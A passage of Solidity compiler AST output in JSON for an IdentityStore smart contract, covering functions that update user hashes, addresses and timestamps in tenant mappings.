"src": "4242:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 291,
"indexExpression": {
"argumentTypes": null,
"id": 290,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4263:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4242:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4216:62:0"
},
{
"assignments": [
294
],
"declarations": [
{
"constant": false,
"id": 294,
"name": "newUserInfo",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4288:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 293,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4288:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 301,
"initialValue": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 296,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4319:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 297,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 263,
"src": "4329:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
{
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 298,
"name": "oldUserInfo",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 288,
"src": "4341:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 299,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantId",
"nodeType": "MemberAccess",
"referencedDeclaration": 93,
"src": "4341:20:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
{
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
],
"id": 295,
"name": "User",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 94,
"src": "4314:4:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_struct$_User_$94_storage_ptr_$",
"typeString": "type(struct IdentityStore.User storage pointer)"
}
},
"id": 300,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "structConstructorCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4314:48:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory",
"typeString": "struct IdentityStore.User memory"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4288:74:0"
},
{
"expression": {
"argumentTypes": null,
"id": 306,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 302,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "4415:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 304,
"indexExpression": {
"argumentTypes": null,
"id": 303,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4436:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4415:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 305,
"name": "newUserInfo",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 294,
"src": "4454:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "4415:50:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 307,
"nodeType": "ExpressionStatement",
"src": "4415:50:0"
},
{
"expression": {
"argumentTypes": null,
"id": 311,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "delete",
"prefix": true,
"src": "4522:34:0",
"subExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 308,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4529:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 310,
"indexExpression": {
"argumentTypes": null,
"id": 309,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4547:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4529:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 312,
"nodeType": "ExpressionStatement",
"src": "4522:34:0"
},
{
"expression": {
"argumentTypes": null,
"id": 317,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 313,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4610:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 315,
"indexExpression": {
"argumentTypes": null,
"id": 314,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4628:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4610:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 316,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4640:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "4610:44:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 318,
"nodeType": "ExpressionStatement",
"src": "4610:44:0"
}
]
},
"documentation": null,
"id": 320,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [],
"name": "updateHash",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 264,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 259,
"name": "_oldHash",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3898:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 258,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "3898:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 261,
"name": "_newHash",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3925:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 260,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "3925:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 263,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3952:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 262,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "3952:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3888:83:0"
},
"payable": false,
"returnParameters": {
"id": 265,
"nodeType": "ParameterList",
"parameters": [],
"src": "3981:0:0"
},
"scope": 428,
"src": "3869:792:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 368,
"nodeType": "Block",
"src": "4757:478:0",
"statements": [
{
"assignments": [
330
],
"declarations": [
{
"constant": false,
"id": 330,
"name": "existingUser",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4767:24:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 329,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4767:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 334,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 331,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "4794:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 333,
"indexExpression": {
"argumentTypes": null,
"id": 332,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "4815:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4794:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4767:63:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 339,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "4857:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 337,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "4876:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 336,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "4858:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 338,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4858:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "5468657265277320616c726561647920616e206163636f756e74207469656420746f20746869732061646472657373",
"id": 340,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4893:49:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_d9560d649baa3d7d7d6686d1da4373048e51f0d0b91e83baff65cef3893b4f78",
"typeString": "literal_string \"There's already an account tied to this address\""
},
"value": "There's already an account tied to this address"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_d9560d649baa3d7d7d6686d1da4373048e51f0d0b91e83baff65cef3893b4f78",
"typeString": "literal_string \"There's already an account tied to this address\""
}
],
"id": 335,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4849:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 341,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4849:94:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 342,
"nodeType": "ExpressionStatement",
"src": "4849:94:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 345,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "4979:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 344,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "4961:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 346,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4961:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "54686572652773206e6f206163636f756e74207469656420746f207468652061646472657373206f726967696e",
"id": 347,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4996:47:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_9bce1635c23a28e7d2bc063a3170a795f5e51362f4736a79230f6fc9fa52d788",
"typeString": "literal_string \"There's no account tied to the address origin\""
},
"value": "There's no account tied to the address origin"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_9bce1635c23a28e7d2bc063a3170a795f5e51362f4736a79230f6fc9fa52d788",
"typeString": "literal_string \"There's no account tied to the address origin\""
}
],
"id": 343,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4953:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 348,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4953:91:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 349,
"nodeType": "ExpressionStatement",
"src": "4953:91:0"
},
{
"expression": {
"argumentTypes": null,
"id": 355,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 350,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5055:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 353,
"indexExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 351,
"name": "existingUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 330,
"src": "5073:12:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 352,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "5073:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5055:42:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 354,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "5100:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "5055:59:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 356,
"nodeType": "ExpressionStatement",
"src": "5055:59:0"
},
{
"expression": {
"argumentTypes": null,
"id": 361,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 357,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5124:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 359,
"indexExpression": {
"argumentTypes": null,
"id": 358,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "5145:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5124:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 360,
"name": "existingUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 330,
"src": "5163:12:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "5124:51:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 362,
"nodeType": "ExpressionStatement",
"src": "5124:51:0"
},
{
"expression": {
"argumentTypes": null,
"id": 366,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "delete",
"prefix": true,
"src": "5185:43:0",
"subExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 363,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5192:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 365,
"indexExpression": {
"argumentTypes": null,
"id": 364,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "5213:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5192:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 367,
"nodeType": "ExpressionStatement",
"src": "5185:43:0"
}
]
},
"documentation": null,
"id": 369,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 327,
"modifierName": {
"argumentTypes": null,
"id": 326,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "4738:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "4738:9:0"
}
],
"name": "updateAddress",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 325,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 322,
"name": "oldUserAddress",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4690:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 321,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4690:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 324,
"name": "newUserAddress",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4714:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 323,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4714:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "4689:48:0"
},
"payable": false,
"returnParameters": {
"id": 328,
"nodeType": "ParameterList",
"parameters": [],
"src": "4757:0:0"
},
"scope": 428,
"src": "4667:568:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 387,
"nodeType": "Block",
"src": "5326:92:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"id": 385,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 378,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5336:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 382,
"indexExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 379,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5357:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 381,
"indexExpression": {
"argumentTypes": null,
"id": 380,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 371,
"src": "5375:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5357:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5336:52:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 383,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"memberName": "timestamp",
"nodeType": "MemberAccess",
"referencedDeclaration": 91,
"src": "5336:62:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 384,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 373,
"src": "5401:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5336:75:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"id": 386,
"nodeType": "ExpressionStatement",
"src": "5336:75:0"
}
]
},
"documentation": null,
"id": 388,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 376,
"modifierName": {
"argumentTypes": null,
"id": 375,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "5307:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "5307:9:0"
}
],
"name": "updateTimestamp",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 374,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 371,
"name": "_tenantHash",
"nodeType": "VariableDeclaration",
"scope": 388,
"src": "5266:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 370,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "5266:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 373,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 388,
"src": "5287:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 372,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5287:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5265:41:0"
},
"payable": false,
"returnParameters": {
"id": 377,
"nodeType": "ParameterList",
"parameters": [],
"src": "5326:0:0"
},
"scope": 428,
"src": "5241:177:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 407,
"nodeType": "Block",
"src": "5500:135:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"id": 400,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 395,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5520:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 397,
"indexExpression": {
"argumentTypes": null,
"id": 396,
"name": "userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 390,
"src": "5541:11:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5520:33:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 398,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "5520:44:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"hexValue": "30",
"id": 399,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5568:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5520:49:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 404,
"nodeType": "IfStatement",
"src": "5517:91:0",
"trueBody": {
"id": 403,
"nodeType": "Block",
"src": "5571:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
